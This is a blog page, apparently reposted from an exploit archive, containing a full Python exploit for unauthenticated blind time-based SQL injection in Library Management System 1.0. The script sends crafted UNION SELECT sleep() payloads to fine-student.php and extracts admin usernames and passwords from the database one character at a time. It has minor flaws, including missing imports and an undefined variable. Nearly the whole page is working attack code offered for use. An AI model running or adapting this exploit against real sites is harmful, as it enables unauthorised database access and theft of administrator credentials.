Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863540931

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
# Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)
# Date: 16/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
# Vendor: breakthrough2
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.   
# Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html
import requests,argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
    sqli  = 'inject\' UNION SELECT IF(SUBSTRING('
    sqli += str(column)+','
    sqli += str(position)+',1) = \''
    sqli += str(char)+'\',sleep(1),null) FROM '
    sqli += str(table)+' WHERE adminId='
    sqli += str(userid)+'; -- kamahamaha'
    return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def postRequest(URL,sqliReq,char,position,pxy):
    sqliURL = URL
    params = {"check":1,"id":sqliReq}
    if pxy:
        req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
    else:
        req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
    #print("{} : {}".format(char,req.elapsed.total_seconds()))
    return req.elapsed.total_seconds()

def theHarvester(target,CHARS,url,pxy):
    #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
    position = 1
    theHarvest = ""
    while position < 8:
        for char in CHARS:
            sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
            if postRequest(url,sqliReq,char,position,pxy) > 1:
                theHarvest += char
                break;
        position += 1
    return theHarvest

class userObj:
    def __init__(self,username,password):
        self.username = username
        self.password = password

class tableSize:
    def __init__(self,sizeU,sizeP):
        self.sizeU = sizeU
        self.sizeP = sizeP
        self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST
        self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST
    def printHeader(self):
        width = self.sizeU+self.sizeP+3
        print(BR+" "*width+ST)
        print(self.uTitle,self.pTitle)
        print(BR+" "*width+ST)

def printTableRow(user,size):
    username = user.username
    unLen = len(username)
    if unLen < size.sizeU:
        username = username+(" "*(size.sizeU - unLen))
    else:
        name = name[:size.sizeU]
    username += BR+" "+ST
    password = user.password
    pLen = len(password)
    if pLen < size.sizeP:
        password = password+(" "*(size.sizeP - pLen))
    else:
        password = password[:size.sizeP]
    password  += BR+" "+ST
    print(username,password)


def sig():
    SIG  = SB+FY+"         .-----.._       ,--.\n"
    SIG += FY+"         |  ..    >  ___ |  | .--.\n"
    SIG += FY+"         |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __\n"
    SIG += FY+"         |      </ "+FR+"*  *  *"+FY+" \   /   \\/   \\\n"
    SIG += FY+"         |  |>   )  "+FR+" * *"+FY+"   /    \\        \\\n"
    SIG += FY+"         |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += FY+"             _______"+FR+"github.com/boku7"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')
    parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')
    parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')
    args = parser.parse_args()
    if args.proxy:
        regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$'
        if re.match(regex,args.proxy,re.IGNORECASE):
            args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}
        else:
            print('{}Error:   Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))
            print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))
            sys.exit(-1)
    else:
        proxy = False
    return args

if __name__ == "__main__":
    header = SB+FT+'               '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST
    print(header)
    print(sig())
    args   = argsetup()
    host   = args.targetHost
    pxy    = args.proxy
    admins = args.DumpXAdmins
    PATH   = host+"/LibraryManagement/fine-student.php"
    size  = tableSize(20,20)
    size.printHeader()
    dumpnumber = 1
    while dumpnumber <= admins:
        adminUsername  = { "id":dumpnumber, "table":"admin", "column":"username"}
        adminUsername  = theHarvester(adminUsername,chars,PATH,pxy)
        adminPassword  = { "id":dumpnumber, "table":"admin", "column":"password"}
        adminPass = theHarvester(adminPassword,chars,PATH,pxy)
        adminUser = userObj(adminUsername,adminPass)
        printTableRow(adminUser,size)
        # print("Admin's Username is: {}".format(adminUsername))
        # print("Admin's Password is: {}".format(adminPass))
        dumpnumber += 1